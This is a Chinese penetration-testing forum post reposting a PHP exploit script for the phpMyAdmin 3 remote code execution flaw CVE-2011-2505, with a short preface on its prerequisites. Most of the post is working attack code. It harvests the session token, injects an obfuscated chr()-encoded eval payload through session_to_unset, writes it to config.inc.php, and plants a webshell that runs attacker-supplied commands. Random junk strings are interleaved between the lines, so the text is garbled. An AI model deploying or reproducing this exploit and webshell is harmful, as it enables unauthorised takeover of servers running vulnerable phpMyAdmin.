中国网络渗透测试联盟
标题:
phpadmin3 remote code execute php版本exploit
[打印本页]
作者:
admin
时间:
2013-2-21 09:13
标题:
phpadmin3 remote code execute php版本exploit
最近在家做专职奶爸，不谙圈内事很多months了，博客也无更新。
2 e7 b: I# n2 v' d7 t1 c8 w8 U; t
2 f3 m w+ J4 e
昨夜带孩子整夜未眠，看到黑哥在php security群里关于phpmyadmin3漏洞的讨论，虽然之前没看过漏洞代码，不过前段时间还是在微博上看到wofeiwo的exp了，不过据黑哥说有不鸡肋的利用方法，于是夜里翻代码出来研究了翻，写出了这个冷饭exp，由于我搞的晚了，之前已经很多人研究了写exp了，于是我这个属于炒冷饭，权当研究研究打发时间了。
+ a8 L [$ T' H+ f6 Z! k( {
4 ?# g# W% a( [+ y) k7 D# S; \
首先赞下wofeiwo的python版本的exp，再赞下wofeiwo跟superhei的钻研精神，学习的榜样啊。不过之前那个exp利用起来是有一些限制的：
6 R/ k. W e1 g7 B5 M
一是session.auto_start = 1；
( N( d0 c9 X# D$ D! _: v1 z2 H" R
二是pma3默认代码里libraries目录已经用.htaccess控制了不允许访问。
) V; a) F+ L% G' G
当然还有第三点大家都不可以逾越的鸿沟：config目录存在且可写。
v# j' G- y0 L2 y/ q3 E; ~
/ X2 n5 o2 c1 L S
在群里看了黑哥的发言后，再看了下代码，发现前两点利用限制均可以无视。所以其实这个漏洞还真的可以不是那么鸡肋。
( @9 S) [( R, T) T+ Y
. e$ C" \9 b8 K% u" a" [
于是写了这个php版本的exp，代码如下：
( E' ^; Q: z2 p, V. X; f) G+ ^
2 O% A K* I5 J4 d
#!/usr/bin/php
5 a% U6 M6 u; c4 ?" R% R- Q/ k( C
<?php
4 E4 I l: S- i- }3 J- b+ U
print_r('
O( V( S1 k7 g2 R" j
+---------------------------------------------------------------------------+
9 b/ D# a1 D5 @! w' R' Y* k, p; e+ m
pma3 - phpMyAdmin3 remote code execute exploit [Not jilei(chicken\'s ribs)]
0 X# z, g# v3 X% I# u& a
by oldjun(
www.oldjun.com
)
; ~$ Q% D4 ?' {0 L& Y$ c0 e8 P
welcome to
www.t00ls.net
6 _4 s4 M1 d2 S$ w- y; y
mail:
oldjun@gmail.com
0 M* s3 [) o' v
Assigned CVE id: CVE-2011-2505
( e8 ~( M+ c9 P0 D" S; L
+---------------------------------------------------------------------------+
% R% ?( W2 B7 [* b1 O
');
! ?0 Q. ?% r* w( i
; t* w( L/ X" w& p
/**
6 V8 u6 S" @5 g& t4 x, K
* working when the directory:"config" exists and is writeable.
0 g; ^* b/ L Q2 D, t1 o
**/
, k# N/ }6 l. f+ _ w1 Q
: K( J9 M/ l' S; Y6 q% J# r
if ($argc < 3) {
+ c6 N/ r( ^1 t( o1 ]8 U
print_r('
2 Q) X- r# }& s1 [2 l
+---------------------------------------------------------------------------+
9 ^9 p6 \! C% k5 j4 b
Usage: php '.$argv[0].' host path
) w8 X% [% [+ ?9 {9 w- b' @
host: target server (ip/hostname)
7 k, {+ k6 n" o+ J0 |" r$ K- u
path: path to pma3
6 N8 G- h$ R" P
Example:
( R+ ~; _# A' S( N" H) f" s
php '.$argv[0].' localhost /pma/
# t/ J" e. F3 R% c V" y
+---------------------------------------------------------------------------+
+ I c5 J4 T- ~ z. u$ b" F
');
% C7 z5 A( N* r2 P) J1 B* `) m
exit;
3 ~, F2 i5 y( H4 f" [$ f6 Z# N
}
. p$ q6 ?5 h9 _8 G. \$ o8 ~* @2 M
; e" s- m' o# v( y$ Q* R7 A9 S
$host = $argv[1];
; [2 _1 ?) A3 q
$path = $argv[2];
# f% d: o( p7 ?7 I: x! }9 y# F
! W3 |( r6 c! Z/ I% U
/**
: K v* X/ K( w, m! }7 P1 }' |
* Try to determine if the directory:"config" exists
: ]7 o7 w% m3 c C: p
**/
- u7 o( x) r$ S; Z2 N
echo "[+] Try to determine if the directory:config exists....\n";
/ F% s% B7 C- f
$returnstr=php_request('config/');
) N, u6 j# c$ [& y8 t q. G& a
if(strpos($returnstr,'404')){
* e, r* e7 h+ p w, G; f' G
exit("[-] Exploit Failed! The directory:config do not exists!\n");
: Q, w1 r* V7 q7 ?1 ~& s; j+ F2 [
}
& Q; ]# Q; E4 I; ~ r0 s
3 p& v+ E0 W& \! e* r e, ]
/**
; Q/ M P9 D' ]
* Try to get token and sessionid
) E, t# e6 M( }7 X- E8 j' s+ q$ ^
**/
$ R/ t8 n3 ?2 G: `: a4 Q( e- @
echo "[+] Try to get token and sessionid....\n";
* `2 x; c! E" }2 O4 _/ w" p. f
$result=php_request('index.php');
; I p n; B9 q' |3 [
preg_match('/phpMyAdmin=(\w{32,40})\;(.*?)token=(\w{32})\&/s', $result, $resp);
x9 T, f6 P' y# d b
$token=$resp[3];
+ ]' W) M1 Y' x% n& d" y
$sessionid=$resp[1];
' h3 o( k! {" `0 n
if($token && $sessionid){
# }5 K/ r$ R6 M6 k6 @
echo "[+] token
token\n";
1 M' @9 s6 z2 X; C3 H% ]3 T
echo "[+] Session ID
sessionid\n";
+ q- y' Z+ E- ^) E( p
}else{
9 t; D" ?. S+ X
exit("[-] Can't get token and Session ID,Exploit Failed!\n");
) R% ~' z- ~/ |& {0 Y; R' Y$ R
}
+ `' f z: ` k7 o
D4 x- ` e' {4 {* R$ W
/**
/ b3 i. w. C% v* f# V5 o/ l3 r0 X
* Try to insert shell into session
& k" W8 |' t0 F' e& k; ~7 t) P' x
**/
) z8 F4 w1 }) w% \
echo "[+] Try to insert shell into session....\n";
0 k' W) X8 L$ }* @7 Z" `, w3 S* Q: ~
php_request('db_create.php?token='.$token.'&session_to_unset=t00ls&_SESSION[ConfigFile][Servers][*/eval(chr(102).chr(112).chr(117).chr(116).chr(115).chr(40).chr(102).chr(111).chr(112).chr(101).chr(110).chr(40).chr(39).chr(97).chr(46).chr(112).chr(104).chr(112).chr(39).chr(44).chr(39).chr(119).chr(39).chr(41).chr(44).chr(39).chr(60).chr(63).chr(112).chr(104).chr(112).chr(32).chr(101).chr(118).chr(97).chr(108).chr(40).chr(36).chr(95).chr(80).chr(79).chr(83).chr(84).chr(91).chr(99).chr(109).chr(100).chr(93).chr(41).chr(63).chr(62).chr(39).chr(41).chr(59).chr(101).chr(99).chr(104).chr(111).chr(40).chr(39).chr(116).chr(48).chr(48).chr(108).chr(115).chr(39).chr(41).chr(59));/*][host]=t00ls.net','','phpMyAdmin='.$sessionid);//Actually,almost all the php files in home directory of pma3 can be used here.
" X8 j' Q* t) f/ U- F8 u
4 Y7 \8 `9 |9 N1 ^& s. v
/**
/ ]0 [( h/ S5 z9 J
* Try to create webshell
7 N) M/ B% Y7 K7 r- u4 n
**/
1 i9 X5 r2 j4 x3 c" ~5 [
echo "[+] Try to create webshell....\n";
$ U# N% w3 M$ d r" y+ Z; _# {
php_request('setup/config.php','phpMyAdmin='.$sessionid.'&tab_hash=&token='.$token.'&check_page_refresh=&DefaultLang=en&ServerDefault=0&eol=unix&submit_save=Save','phpMyAdmin='.$sessionid);
' j2 C. j$ X9 m8 X2 v! _
/**
$ z& o# C$ y6 `4 s6 m9 A; Z# T
* Try to check if the webshell was created successfully
% l) j9 ^9 J; Y' T
**/
4 R0 _. u/ Y1 |) S
echo "[+] Try to check if the webshell was created successfully....\n";
/ ^. @: C$ q* j6 ]
$content=php_request('config/config.inc.php');
1 }0 P/ X1 U+ O8 s- g* E- D
if(strpos($content,'t00ls')){
/ [* Y6 W( B# b' Z
echo "[+] Congratulations! Expoilt successfully....\n";
" t7 g" x# }! }, b
echo "[+] Webshell:http://$host{$path}config/a.php eval(\$_POST[cmd])\n";
9 P+ _, p' z' N
}else{
; w7 G! ^- a5 N
exit("[-] Exploit Failed! Perhaps the directory:config do not exists or is not writeable!\n");
4 }7 G! o. [9 M/ F$ J
}
3 j& f v7 q7 s
+ W6 z$ l/ d7 ] e; B4 T
function php_request($url,$data='',$cookie=''){
2 f# @. A+ i9 E6 k+ T
global $host, $path;
$ H/ w9 O' I& j
" u/ @$ E! x% P3 `
$method=$data?'POST':'GET';
6 S" y0 T" ]) n
3 d p9 L% |7 h6 ]9 i2 V0 r$ B9 b
$packet = $method." ".$path.$url." HTTP/1.1\r\n";
9 ~8 N) R! S; l) q/ I- m4 c, B
$packet .= "Accept: */*\r\n";
0 ]; I# x, ^8 `+ A/ i; e5 F
$packet .= "User-Agent: Mozilla/4.0 (compatible; MSIE 6.00; Windows NT 5.1; SV1)\r\n";
. @3 E' {4 C! T% o3 _% G
$packet .= "Host: $host\r\n";
5 J5 b2 J# w V9 v) ^
$packet .= $data?"Content-Type: application/x-www-form-urlencoded\r\n":"";
/ i% l6 K' i* z
$packet .= $data?"Content-Length: ".strlen($data)."\r\n":"";
( Q* L' A& ?' S* U) ]
$packet .= $cookie?"Cookie: $cookie\r\n":"";
4 }7 ^* n* ^9 G6 ~2 ^! q4 E* M
$packet .= "Connection: Close\r\n\r\n";
4 S4 M( a0 Q* y& L/ I8 p" ]3 s5 E/ V
$packet .= $data?$data:"";
" r8 ]! x" N5 R/ f* e1 f, C2 R
. E' Z7 V4 |) t
$fp = fsockopen(gethostbyname($host), 80);
% X0 `, s! i0 a7 ]
if (!$fp) {
! A! d+ H2 h4 }7 F& ^
echo 'No response from '.$host; die;
3 t s3 @ A5 o, N
}
# I' |4 }( I2 e# e+ M9 x: E
fputs($fp, $packet);
4 u% ~+ o/ X. z e+ ]
& V; ]% X8 h" I% n
$resp = '';
: q" L/ z' [/ l0 o7 ?" R2 b- S0 w; x
7 ]+ m2 Z1 {8 C2 b
while ($fp && !feof($fp))
b) @ K& }9 b& {7 [/ S0 a, t
$resp .= fread($fp, 1024);
" h" {! t; ?! T4 M4 d4 p) j3 x+ S
: H; K0 B; S0 a0 |% E
return $resp;
3 C; ?& Q/ v% M/ y. j( p8 S' r
}
5 ]8 N- e8 \# i- V& e2 {
& R- A7 {+ i3 E" A
?>
. c% }" C J9 `- L
.
欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/)
Powered by Discuz! X3.2
token\n";1 M' @9 s6 z2 X; C3 H% ]3 Tsessionid\n";+ q- y' Z+ E- ^) E( p